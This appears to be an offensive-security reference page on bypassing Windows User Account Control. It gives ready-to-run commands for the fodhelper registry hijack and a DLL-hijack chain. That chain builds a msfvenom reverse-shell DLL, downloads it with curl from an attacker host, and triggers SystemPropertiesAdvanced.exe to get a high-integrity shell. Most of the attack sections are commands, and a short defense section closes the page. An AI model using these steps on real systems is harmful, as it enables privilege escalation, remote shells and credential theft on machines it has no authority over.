# UAC Bypass

> Turning a filtered medium-integrity admin token into a full high-integrity one - User Account Control splits an admin's logon into two tokens, and a command-line shell gets the filtered one. Bypass it by abusing an auto-elevating trusted binary - either a registry hijack (fodhelper / eventvwr / computerdefaults reading a user-writable key) or a DLL hijack of a missing DLL an auto-elevating binary loads from a writable PATH entry. UAC is explicitly not a security boundary.

<!-- Source: codex/windows/privesc/uac-bypass -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

import { Aside } from '@astrojs/starlight/components';

## TL;DR

With UAC enabled and Admin Approval Mode on, an administrator's logon produces **two tokens** - a filtered medium-integrity one and a full high-integrity one. A command-line shell runs with the *filtered* token, so even as a local admin you can't do admin things until you elevate - and there's no CLI version of the consent prompt. The bypass is to get an **auto-elevating trusted binary** (one Windows elevates with no prompt) to run your code.

```
# 0. Confirm you're a filtered admin: in Administrators, but whoami /priv is short
net localgroup administrators          # your user is listed
whoami /priv                           # only ~5 privileges → medium token

# 1. Fastest path - fodhelper.exe reads a user-writable registry key, then auto-elevates
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c <payload>" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
start fodhelper.exe                     # runs <payload> high-integrity, no prompt

# 2. DLL-hijack path - an auto-elevating binary loads a missing DLL from a writable PATH dir
#    (e.g. SystemPropertiesAdvanced.exe 32-bit → missing srrstr.dll)
```

Success indicator: a process spawned by the auto-elevating binary runs at **high** integrity - `whoami /groups` shows `Mandatory Label\High Mandatory Level`, and `whoami /priv` now lists the full admin privilege set (`SeDebugPrivilege`, `SeTakeOwnershipPrivilege`, …) available to enable.

## When this applies

This is **not** a standard-user-to-admin escalation - you must already be in the local `Administrators` group. The problem UAC creates is that your interactive/remote shell holds the *filtered* token, so the admin membership is inert until you re-run code with the full token. Signals you're in this exact spot:

- `net localgroup administrators` lists your user, but `whoami /priv` shows only the short medium-integrity privilege set (no `SeDebug`, `SeBackup`, etc.).
- You have a shell (RDP, WinRM, a reverse shell) rather than a desktop session where you could just click "Yes" on the prompt.

The **built-in RID 500 Administrator** is the exception - it runs at high integrity by default (unless `FilterAdministratorToken` is enabled), so it needs no bypass.

<Aside type="note">
Microsoft is explicit that UAC is a convenience feature, **not a security boundary** - bypasses are "won't fix" by design. It still matters operationally: elevating is an extra, noisier step, and a well-configured host (`ConsentPromptBehaviorAdmin = 0x2`, "Always Notify" on the secure desktop) closes many bypasses.
</Aside>

## Enumerate the UAC state

```shell
# Is UAC on at all?
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
#   EnableLUA = 0x1  → UAC enabled

# How aggressive is the prompt? (fewer bypasses at the highest level)
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
#   0x2 = Always Notify, consent on secure desktop (hardest)
#   0x5 = DEFAULT - prompt for consent for non-Windows binaries; still auto-elevates Windows binaries
#   0x0 = elevate silently (easiest)

# Which Windows build? UAC bypasses are build-specific
[environment]::OSVersion.Version          # e.g. 10.0.14393 → Windows 10 release 1607
```

The [UACME project](https://github.com/hfiref0x/UACME) is the reference catalog: it maps each bypass technique to the Windows build range it works on and whether Microsoft has since patched it. Match your build to a technique before trying one.

## Family 1 - registry hijack of an auto-elevating binary

Several trusted binaries auto-elevate *and* resolve a program to run from a **per-user (`HKCU`) registry key** - which an unprivileged process can write. Point the key at your payload, launch the binary, and your command runs high-integrity with no prompt. `fodhelper.exe` is the classic (Windows 10+):

```
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c C:\temp\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
start fodhelper.exe
```

`fodhelper` opens the `ms-settings:` handler, finds your `HKCU` command, and executes it elevated. Clean up the key afterward (`reg delete "HKCU\Software\Classes\ms-settings" /f`). Equivalent binaries and their keys:

| Binary | Registry key it reads |
| --- | --- |
| `fodhelper.exe` | `HKCU\Software\Classes\ms-settings\Shell\Open\command` |
| `computerdefaults.exe` | `HKCU\Software\Classes\ms-settings\Shell\Open\command` |
| `eventvwr.exe` | `HKCU\Software\Classes\mscfile\shell\open\command` (patched post-1703) |
| `sdclt.exe` | `HKCU\Software\Classes\Folder\shell\open\command` / `exefile` variants |

These leave registry artifacts and are heavily signatured by EDR - but they're one-shot and need no file drop.

## Family 2 - DLL hijack of an auto-elevating binary

Some auto-elevating binaries load a DLL **by name** that doesn't exist, and search a directory you can write to. Plant that DLL and it loads elevated. The writeup's canonical case: the 32-bit `SystemPropertiesAdvanced.exe` tries to load a missing `srrstr.dll`, and its search order includes `C:\Users\<you>\AppData\Local\Microsoft\WindowsApps` - which is in `%PATH%` and user-writable.

```shell
# 1. Confirm WindowsApps is in PATH (writable, user profile)
cmd /c echo %PATH%            # ...\AppData\Local\Microsoft\WindowsApps;

# 2. Build a payload DLL (DllMain runs on load)
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER> LPORT=8443 -f dll > srrstr.dll

# 3. Drop it where the binary will look
curl http://<ATTACKER>:8080/srrstr.dll -o "C:\Users\<you>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

# 4. Trigger the 32-bit auto-elevating binary
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
```

The listener returns a **high-integrity** shell. See [DLL hijacking](/codex/windows/privesc/dll-hijacking/) for the search-order mechanics this relies on - UAC bypass is just that technique aimed at an auto-elevating target. (Confirm your DLL runs at all first by invoking it directly: `rundll32 shell32.dll,Control_RunDLL C:\...\WindowsApps\srrstr.dll` - that returns a *medium* shell, proving the DLL works before you fire the elevated trigger. Kill stray `rundll32` processes between attempts.)

## After the bypass

The elevated shell often shows admin privileges as *Disabled* rather than removed - they're present in the high token and can be enabled on demand (see [SeTakeOwnership](/codex/windows/privesc/setakeownership/) and the other privilege pages for enabling a specific one). From a high-integrity context you can dump credentials, write to protected locations, and install services - the medium-token restrictions are gone.

## Defense

- Set `ConsentPromptBehaviorAdmin` to **Always Notify** (`0x2`) and, for the built-in admin, enable `FilterAdministratorToken` - this closes the "RID 500 is already high" gap and the quieter bypass levels.
- UAC is not a boundary: don't rely on it to contain a local admin. Treat any account in `Administrators` as effectively already elevated when modeling risk.
- EDR signatures the registry-hijack binaries (`fodhelper`/`eventvwr` spawning `cmd`/`powershell`) and anomalous DLL loads from user-writable `PATH` dirs - alert on both.
- Keep `WindowsApps` and every `PATH` entry out of a privileged process's writable search path; patch to current builds (UACME techniques are build-pinned and many are fixed).

## Related

- [DLL hijacking](/codex/windows/privesc/dll-hijacking/) - the search-order abuse behind Family 2
- [Weak service & registry permissions](/codex/windows/privesc/weak-permissions/) - other "run my code as a privileged identity" paths
- [Initial enumeration](/codex/windows/privesc/initial-enumeration/) - confirming build number and admin membership first